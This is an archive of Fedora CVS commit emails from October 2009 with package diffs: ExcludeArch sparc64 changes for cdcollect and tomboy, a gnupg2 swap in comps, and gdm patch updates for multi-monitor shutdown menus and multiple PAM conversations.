retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- cdcollect.spec	23 Sep 2009 12:29:38 -0000	1.7
+++ cdcollect.spec	26 Oct 2009 19:02:10 -0000	1.8
@@ -3,7 +3,7 @@
 
 Name:		cdcollect
 Version:	0.6.0
-Release:	9%{?dist}
+Release:        10%{?dist}
 Summary:	Simple CD/DVD catalog for GNOME
 
 Group:		Applications/Productivity
@@ -21,10 +21,11 @@ BuildRequires:	perl(XML::Parser), deskto
 Requires:	mono-core >= 1.1.17, gtk-sharp2 >= 2.8.0, gnome-sharp
 Requires:	sqlite >= 3.3.5, mono-data-sqlite
 
-Requires(pre):	GConf2
-Requires(post):	GConf2
-Requires(preun):	GConf2
+Requires(pre):  GConf2
+Requires(post): GConf2
+Requires(preun): GConf2
 
+ExcludeArch:    sparc64
 
 %description
 CDCollect is a simple CD/DVD catalog for GNOME written in C# using Mono
@@ -91,6 +92,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.0-10
+- ExcludeArch sparc64  no mono there
+
 * Wed Sep 23 2009 Dan Horak <dan[at]danny.cz> 0.6.0-9
 - drop ExcludeArch for ppc64
 



From ausil at fedoraproject.org  Mon Oct 26 19:03:19 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:03:19 +0000 (UTC)
Subject: rpms/cdcollect/devel cdcollect.spec,1.7,1.8
Message-ID: <20091026190319.1443011C02BB@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/cdcollect/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10515

Modified Files:
	cdcollect.spec 
Log Message:
ExcludeArch sparc64



Index: cdcollect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cdcollect/devel/cdcollect.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- cdcollect.spec	23 Sep 2009 12:29:38 -0000	1.7
+++ cdcollect.spec	26 Oct 2009 19:03:18 -0000	1.8
@@ -3,7 +3,7 @@
 
 Name:		cdcollect
 Version:	0.6.0
-Release:	9%{?dist}
+Release:        10%{?dist}
 Summary:	Simple CD/DVD catalog for GNOME
 
 Group:		Applications/Productivity
@@ -21,10 +21,11 @@ BuildRequires:	perl(XML::Parser), deskto
 Requires:	mono-core >= 1.1.17, gtk-sharp2 >= 2.8.0, gnome-sharp
 Requires:	sqlite >= 3.3.5, mono-data-sqlite
 
-Requires(pre):	GConf2
-Requires(post):	GConf2
-Requires(preun):	GConf2
+Requires(pre):  GConf2
+Requires(post): GConf2
+Requires(preun): GConf2
 
+ExcludeArch:    sparc64
 
 %description
 CDCollect is a simple CD/DVD catalog for GNOME written in C# using Mono
@@ -91,6 +92,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.0-10
+- ExcludeArch sparc64  no mono there
+
 * Wed Sep 23 2009 Dan Horak <dan[at]danny.cz> 0.6.0-9
 - drop ExcludeArch for ppc64
 



From tmraz at fedoraproject.org  Mon Oct 26 19:03:39 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Mon, 26 Oct 2009 19:03:39 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.58,1.59
Message-ID: <20091026190339.6333A11C0264@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10634

Modified Files:
	comps-f13.xml.in 
Log Message:
Add gnupg2-smime, replace gnupg with gnupg2.



Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- comps-f13.xml.in	23 Oct 2009 21:32:12 -0000	1.58
+++ comps-f13.xml.in	26 Oct 2009 19:03:38 -0000	1.59
@@ -243,7 +243,7 @@
       <packagereq type="default">finger</packagereq>
       <packagereq type="default">fprintd-pam</packagereq>
       <packagereq type="default">ftp</packagereq>
-      <packagereq type="default">gnupg</packagereq>
+      <packagereq type="default">gnupg2</packagereq>
       <packagereq type="default">hunspell</packagereq>
       <packagereq type="default">iptstate</packagereq>
       <packagereq type="default">irda-utils</packagereq>
@@ -316,7 +316,7 @@
       <packagereq type="optional">brltty</packagereq>
       <packagereq type="optional">btrfs-progs</packagereq>
       <packagereq type="optional">fbset</packagereq>
-      <packagereq type="optional">gnupg2</packagereq>
+      <packagereq type="optional">gnupg2-smime</packagereq>
       <packagereq type="optional">gpart</packagereq>
       <packagereq type="optional">gpgme</packagereq>
       <packagereq type="optional">gpm</packagereq>



From ausil at fedoraproject.org  Mon Oct 26 19:06:07 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:06:07 +0000 (UTC)
Subject: rpms/tomboy/F-12 tomboy.spec,1.125,1.126
Message-ID: <20091026190607.41F8411C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/tomboy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11687

Modified Files:
	tomboy.spec 
Log Message:
Exclude sparc64



Index: tomboy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tomboy/F-12/tomboy.spec,v
retrieving revision 1.125
retrieving revision 1.126
diff -u -p -r1.125 -r1.126
--- tomboy.spec	22 Sep 2009 02:48:08 -0000	1.125
+++ tomboy.spec	26 Oct 2009 19:06:04 -0000	1.126
@@ -1,6 +1,6 @@
 Name:           tomboy
 Version:        1.0.0
-Release: 	1%{?dist}
+Release: 	2%{?dist}
 Summary:        Note-taking application
 
 Group:          User Interface/Desktops
@@ -32,6 +32,7 @@ BuildRequires:  automake, autoconf, libt
 
 Requires:	gtkspell
 
+ExcludeArch:    sparc64
 
 %description
 Tomboy is a desktop note-taking application which is simple and easy to use.
@@ -137,6 +138,9 @@ fi
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0.0-2
+- exclude sparc64  no mono available
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 1.0.0-1
 - Update to 1.0.0
 



From rstrode at fedoraproject.org  Mon Oct 26 19:06:53 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 26 Oct 2009 19:06:53 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-2.28.1-move-shutdown-functions.patch, 1.2,
	1.3 gdm-multistack.patch, 1.4, 1.5 gdm.spec, 1.505, 1.506
Message-ID: <20091026190653.A9D9511C0264@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12334

Modified Files:
	gdm-2.28.1-move-shutdown-functions.patch gdm-multistack.patch 
	gdm.spec 
Log Message:
- Position shutdown menu properly on multihead machines


gdm-2.28.1-move-shutdown-functions.patch:
 b/gui/simple-greeter/Makefile.am                    |    2 
 b/gui/simple-greeter/gdm-greeter-login-window.c     |  294 --------------------
 b/gui/simple-greeter/gdm-greeter-login-window.glade |  194 -------------
 b/gui/simple-greeter/gdm-greeter-panel.c            |  263 +++++++++++++++++
 b/gui/simple-greeter/gdm-greeter-panel.h            |    3 
 b/gui/simple-greeter/gdm-greeter-session.c          |    4 
 b/gui/simple-greeter/test-greeter-panel.c           |    3 
 gui/simple-greeter/gdm-greeter-panel.c              |  103 +++++--
 8 files changed, 346 insertions(+), 520 deletions(-)

Index: gdm-2.28.1-move-shutdown-functions.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-2.28.1-move-shutdown-functions.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gdm-2.28.1-move-shutdown-functions.patch	23 Oct 2009 02:27:30 -0000	1.2
+++ gdm-2.28.1-move-shutdown-functions.patch	26 Oct 2009 19:06:52 -0000	1.3
@@ -1285,3 +1285,42 @@ index d5dd820..016f636 100644
 -- 
 1.6.5.rc2
 
+From 7fbb5c0dec8aa42b1d8985c6f62be02c035175da Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Mon, 26 Oct 2009 15:00:43 -0400
+Subject: [PATCH] Position shutdown menu better in multi-monitor displays
+
+---
+ gui/simple-greeter/gdm-greeter-panel.c |   13 ++++++++++++-
+ 1 files changed, 12 insertions(+), 1 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-panel.c b/gui/simple-greeter/gdm-greeter-panel.c
+index 43b91d5..caade7a 100644
+--- a/gui/simple-greeter/gdm-greeter-panel.c
++++ b/gui/simple-greeter/gdm-greeter-panel.c
+@@ -790,10 +790,21 @@ position_shutdown_menu (GtkMenu         *menu,
+                         GdmGreeterPanel *panel)
+ {
+         GtkRequisition menu_requisition;
++        GdkScreen *screen;
++        int monitor;
+ 
+         *push_in = TRUE;
+ 
+-        *x = panel->priv->shutdown_button->allocation.x;
++        screen = gtk_widget_get_screen (GTK_WIDGET (panel));
++        monitor = gdk_screen_get_monitor_at_window (screen, GTK_WIDGET (panel)->window);
++        gtk_menu_set_monitor (menu, monitor);
++
++        gtk_widget_translate_coordinates (GTK_WIDGET (panel->priv->shutdown_button),
++                                          GTK_WIDGET (panel),
++                                          panel->priv->shutdown_button->allocation.x,
++                                          panel->priv->shutdown_button->allocation.y,
++                                          x, y);
++
+         gtk_window_get_position (GTK_WINDOW (panel), NULL, y);
+ 
+         gtk_widget_size_request (GTK_WIDGET (menu), &menu_requisition);
+-- 
+1.6.5.1
+

gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |   23 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  314 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   40 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  418 ++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   40 
 b/po/POTFILES.in                                                     |    2 
 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  187 +
 daemon/gdm-greeter-server.h                                          |   19 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1120 +++++---
 daemon/gdm-session-private.h                                         |   29 
 daemon/gdm-session-relay.c                                           |  190 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   20 
 daemon/gdm-session.c                                                 |  229 +
 daemon/gdm-session.h                                                 |   59 
 daemon/gdm-simple-slave.c                                            |  223 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  209 +
 gui/simple-greeter/gdm-greeter-client.h                              |   18 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1105 ++++++-
 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   21 
 gui/simple-greeter/gdm-greeter-session.c                             |  133 
 gui/simple-greeter/gdm-task-list.c                                   |  228 +
 gui/simple-greeter/gdm-task-list.h                                   |   36 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |    6 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    2 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   10 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |    7 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   35 
 po/POTFILES.in                                                       |    2 
 107 files changed, 9621 insertions(+), 1258 deletions(-)

Index: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gdm-multistack.patch	26 Oct 2009 14:39:58 -0000	1.4
+++ gdm-multistack.patch	26 Oct 2009 19:06:52 -0000	1.5
@@ -1,8 +1,7 @@
-
 From dfa6b8d5ed60552f435c34c47bc45089fa3eef48 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 13:52:19 -0500
-Subject: [PATCH 07/53] Add a comment marking protected api in chooser
+Subject: [PATCH 06/48] Add a comment marking protected api in chooser
 
 The chooser widget has methods that only its
 subclasses are supposed to call.  We should
@@ -25,13 +24,13 @@ index 578e613..7e3e59c 100644
  
  G_END_DECLS
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
 From 7b4e38d04e246d7dc4c446ed2a3c69fcc67257cb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 17:44:37 -0500
-Subject: [PATCH 08/53] Drop duplicated entry introspection output
+Subject: [PATCH 07/48] Drop duplicated entry introspection output
 
 ---
  daemon/gdm-greeter-server.c |    1 -
@@ -50,13 +49,13 @@ index 2e01d33..cecce83 100644
                                 "    </signal>\n"
                                 "    <signal name=\"TimedLoginRequested\">\n"
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
 From 8d5ddd913f13581df1662730745c1d906772185e Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 10:07:03 -0500
-Subject: [PATCH 09/53] Make lookup_item not warn when passing NULL for args
+Subject: [PATCH 08/48] Make lookup_item not warn when passing NULL for args
 
 gtk_tree_model_get doesn't like NULL, and we allow
 NULL for optional return values.
@@ -111,13 +110,13 @@ index 2875456..cbd5072 100644
          return TRUE;
  }
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
 From 57a0d19b8b1e5e7a2132b15ea2c536207b61f80f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 15:35:00 -0500
-Subject: [PATCH 10/53] Drop "stopped" signal from worker-job class
+Subject: [PATCH 09/48] Drop "stopped" signal from worker-job class
 
 It was unused, dead code.
 ---
@@ -207,14 +206,14 @@ index d42eb37..5ad1c92 100644
                                      int                   exit_code);
  
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
 
 From 98b3621d59550909f9d837e94d3cb15d20730f30 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 13 May 2009 13:43:33 -0400
-Subject: [PATCH 12/53] Don't send auth-failed when worker dies
+Subject: [PATCH 11/48] Don't send auth-failed when worker dies
 
 Authentication hasn't failed, it just got aborted before it
 could.  This prevents a crash that happens when switching
@@ -282,41 +281,15 @@ index b6abae4..8eadf4d 100644
  }
  
 -- 
-1.6.5.1
-
+1.6.5.rc2
 
-From c3d7aa8a30e643ee6068220abd3209b6bbdc6c1a Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Fri, 23 Oct 2009 17:40:36 -0400
-Subject: [PATCH 20/53] Don't set has_other_user to FALSE in ctor
 
-It's initialized to FALSE anyway, and we were
-setting it too late.
----
- gui/simple-greeter/gdm-user-chooser-widget.c |    1 -
- 1 files changed, 0 insertions(+), 1 deletions(-)
 
-diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
-index 167e324..77e06a7 100644
---- a/gui/simple-greeter/gdm-user-chooser-widget.c
-+++ b/gui/simple-greeter/gdm-user-chooser-widget.c
-@@ -549,7 +549,6 @@ gdm_user_chooser_widget_constructor (GType                  type,
-                                                                                                               n_construct_properties,
-                                                                                                               construct_properties));
- 
--        widget->priv->has_user_other = FALSE;
-         widget->priv->show_normal_users = !is_user_list_disabled (widget);
- 
-         widget->priv->load_idle_id = g_idle_add ((GSourceFunc)load_users, widget);
--- 
-1.6.5.1
 
-
-
-From 2864b1cd3300eabd82ed0e75fd6a7c963099b1c3 Mon Sep 17 00:00:00 2001
+From b8b6b84593eef0b1017c794e2c0f8be71d2e4430 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 11:00:08 -0500
-Subject: [PATCH 22/53] Drop session "Open" in favor of "StartConversation"
+Subject: [PATCH 19/48] Drop session "Open" in favor of "StartConversation"
 
 We want to eventually support having multiple
 simultaneous PAM conversations in one login
@@ -1515,13 +1488,13 @@ index c6a158c..d9fa26e 100644
                  g_signal_connect (session,
                                    "setup-complete",
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 8171ce2967b38807851aa0137142eb03806744bb Mon Sep 17 00:00:00 2001
+From 842ab915bec7765c04503a1737bbaf0389b21068 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Feb 2009 10:55:03 -0500
-Subject: [PATCH 23/53] Rename session worker to the service it's managing
+Subject: [PATCH 20/48] Rename session worker to the service it's managing
 
 This way when we're running multiple PAM conversations at once
 it will be obvious which worker is managing which conversation.
@@ -1704,13 +1677,13 @@ index d24f025..4833f23 100644
  
  GPid                    gdm_session_worker_job_get_pid            (GdmSessionWorkerJob *session_worker_job);
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 1e533b06380bf7c5a32ae9b472f96f1a67e9c6da Mon Sep 17 00:00:00 2001
+From 21c1bc991ae19fa6fbf9f7b17ee4953d951896f0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 13:01:48 -0500
-Subject: [PATCH 24/53] Make greeter explicitly request PAM conversation
+Subject: [PATCH 21/48] Make greeter explicitly request PAM conversation
 
 Now the greeter has to say what PAM stack it wants the slave to
 run.  When that stack is ready, we emit the Ready signal as
@@ -2050,13 +2023,13 @@ index e7d206a..cd0cbdf 100644
  
          return res;
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From b1a09fe70f645641f4e88564b468ef1911d5bd48 Mon Sep 17 00:00:00 2001
+From a5ff276de4b0bdefd5f77f1babf7c1a4319109f0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 15:18:31 -0500
-Subject: [PATCH 25/53] Store multiple conversations in the session
+Subject: [PATCH 22/48] Store multiple conversations in the session
 
 We keep multiple conversations in the session now, keyed off of
 PAM service is at the other end.  Much of the guts still
@@ -2308,13 +2281,13 @@ index 51ecf39..b86475c 100644
  
  char *
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 5d1c8fa1d1874adbef0587827caad7d09916a4ee Mon Sep 17 00:00:00 2001
+From 58cc408e2f080fc2787f44624d0267248e2000d3 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Mar 2009 22:09:21 -0500
-Subject: [PATCH 26/53] start autologin conversation when creating session if necessary
+Subject: [PATCH 23/48] start autologin conversation when creating session if necessary
 
 Without this autologin breaks, since when it comes time to
 autologin, there's no worker to do it.
@@ -2346,13 +2319,13 @@ index 8863fd4..4db7440 100644
          } else {
                  if (slave->priv->connection_attempts >= MAX_CONNECT_ATTEMPTS) {
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From a7d9baab98651d5a36b674c5dd5745bdd980918d Mon Sep 17 00:00:00 2001
+From 17e530f18b91d47e98f4ef6dae0882d52ca476e0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 22 Jan 2009 08:52:01 -0500
-Subject: [PATCH 27/53] Propagate service name to more layers
+Subject: [PATCH 24/48] Propagate service name to more layers
 
 This is more prep work to get multiple concurrent
 PAM stacks going.
@@ -2361,7 +2334,7 @@ PAM stacks going.
  daemon/gdm-greeter-server.c              |  120 ++++++--
  daemon/gdm-greeter-server.h              |   17 +-
  daemon/gdm-product-slave.c               |  233 ++++++++++++---
- daemon/gdm-session-direct.c              |  472 +++++++++++++++++-------------
+ daemon/gdm-session-direct.c              |  470 +++++++++++++++++-------------
  daemon/gdm-session-private.h             |   22 ++-
  daemon/gdm-session-relay.c               |  122 ++++++--
  daemon/gdm-session-worker.c              |   27 ++
@@ -2372,7 +2345,7 @@ PAM stacks going.
  gui/simple-greeter/gdm-greeter-client.c  |  188 ++++++++++---
  gui/simple-greeter/gdm-greeter-client.h  |   16 +-
  gui/simple-greeter/gdm-greeter-session.c |   11 +-
- 15 files changed, 1125 insertions(+), 453 deletions(-)
+ 15 files changed, 1123 insertions(+), 453 deletions(-)
 
 diff --git a/daemon/gdm-factory-slave.c b/daemon/gdm-factory-slave.c
 index d1bb5dd..826612e 100644
@@ -3374,7 +3347,7 @@ index 15a2820..dd2e1bc 100644
  
  static void
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index b86475c..1c151fd 100644
+index b86475c..26e4c2e 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -83,10 +83,10 @@ struct _GdmSessionDirectPrivate
@@ -4215,16 +4188,7 @@ index b86475c..1c151fd 100644
  }
  
  static gboolean
-@@ -1725,6 +1774,8 @@ stop_conversation (GdmSessionConversation *conversation)
-                                               conversation);
- 
-         if (conversation->worker_connection != NULL) {
-+                dbus_connection_remove_filter (conversation->worker_connection, on_message, session);
-+
-                 dbus_connection_close (conversation->worker_connection);
-                 conversation->worker_connection = NULL;
-         }
-@@ -1750,10 +1801,6 @@ gdm_session_direct_start_conversation (GdmSession *session,
+@@ -1750,10 +1799,6 @@ gdm_session_direct_start_conversation (GdmSession *session,
  
          g_hash_table_insert (impl->priv->conversations,
                               g_strdup (service_name), conversation);
@@ -4235,7 +4199,7 @@ index b86475c..1c151fd 100644
  }
  
  static void
-@@ -1904,45 +1951,50 @@ gdm_session_direct_setup_for_user (GdmSession *session,
+@@ -1904,45 +1949,50 @@ gdm_session_direct_setup_for_user (GdmSession *session,
  }
  
  static void
@@ -4299,7 +4263,7 @@ index b86475c..1c151fd 100644
          switch (cred_flag) {
          case GDM_SESSION_CRED_ESTABLISH:
                  send_dbus_void_signal (conversation, "EstablishCredentials");
-@@ -1956,13 +2008,12 @@ gdm_session_direct_accredit (GdmSession *session,
+@@ -1956,13 +2006,12 @@ gdm_session_direct_accredit (GdmSession *session,
  }
  
  static void
@@ -4316,7 +4280,7 @@ index b86475c..1c151fd 100644
  
          message = dbus_message_new_signal (GDM_SESSION_DBUS_PATH,
                                             GDM_SESSION_DBUS_INTERFACE,
-@@ -1972,7 +2023,6 @@ send_environment_variable (const char       *key,
+@@ -1972,7 +2021,6 @@ send_environment_variable (const char       *key,
          dbus_message_iter_append_basic (&iter, DBUS_TYPE_STRING, &key);
          dbus_message_iter_append_basic (&iter, DBUS_TYPE_STRING, &value);
  
@@ -4324,7 +4288,7 @@ index b86475c..1c151fd 100644
          if (! send_dbus_message (conversation, message)) {
                  g_debug ("GdmSessionDirect: Could not send %s signal", "SetEnvironmentVariable");
          }
-@@ -1981,12 +2031,13 @@ send_environment_variable (const char       *key,
+@@ -1981,12 +2029,13 @@ send_environment_variable (const char       *key,
  }
  
  static void
@@ -4340,7 +4304,7 @@ index b86475c..1c151fd 100644
  }
  
  static const char *
-@@ -2103,7 +2154,8 @@ setup_session_environment (GdmSessionDirect *session)
+@@ -2103,7 +2152,8 @@ setup_session_environment (GdmSessionDirect *session)
  }
  
  static void
@@ -4350,7 +4314,7 @@ index b86475c..1c151fd 100644
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
          GdmSessionConversation *conversation;
-@@ -2117,10 +2169,11 @@ gdm_session_direct_start_session (GdmSession *session)
+@@ -2117,10 +2167,11 @@ gdm_session_direct_start_session (GdmSession *session)
          program = g_strdup_printf (GDMCONFDIR "/Xsession \"%s\"", command);
          g_free (command);
  
@@ -4364,7 +4328,7 @@ index b86475c..1c151fd 100644
          send_dbus_string_signal (conversation, "StartProgram", program);
          g_free (program);
  }
-@@ -2166,6 +2219,11 @@ gdm_session_direct_close (GdmSession *session)
+@@ -2166,6 +2217,11 @@ gdm_session_direct_close (GdmSession *session)
  
          stop_all_conversations (impl);
  
@@ -4376,7 +4340,7 @@ index b86475c..1c151fd 100644
          g_free (impl->priv->selected_user);
          impl->priv->selected_user = NULL;
  
-@@ -2198,6 +2256,7 @@ gdm_session_direct_close (GdmSession *session)
+@@ -2198,6 +2254,7 @@ gdm_session_direct_close (GdmSession *session)
  
  static void
  gdm_session_direct_answer_query  (GdmSession *session,
@@ -4384,7 +4348,7 @@ index b86475c..1c151fd 100644
                                    const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
-@@ -2205,7 +2264,7 @@ gdm_session_direct_answer_query  (GdmSession *session,
+@@ -2205,7 +2262,7 @@ gdm_session_direct_answer_query  (GdmSession *session,
  
          g_return_if_fail (session != NULL);
  
@@ -4393,7 +4357,7 @@ index b86475c..1c151fd 100644
  
          answer_pending_query (conversation, text);
  }
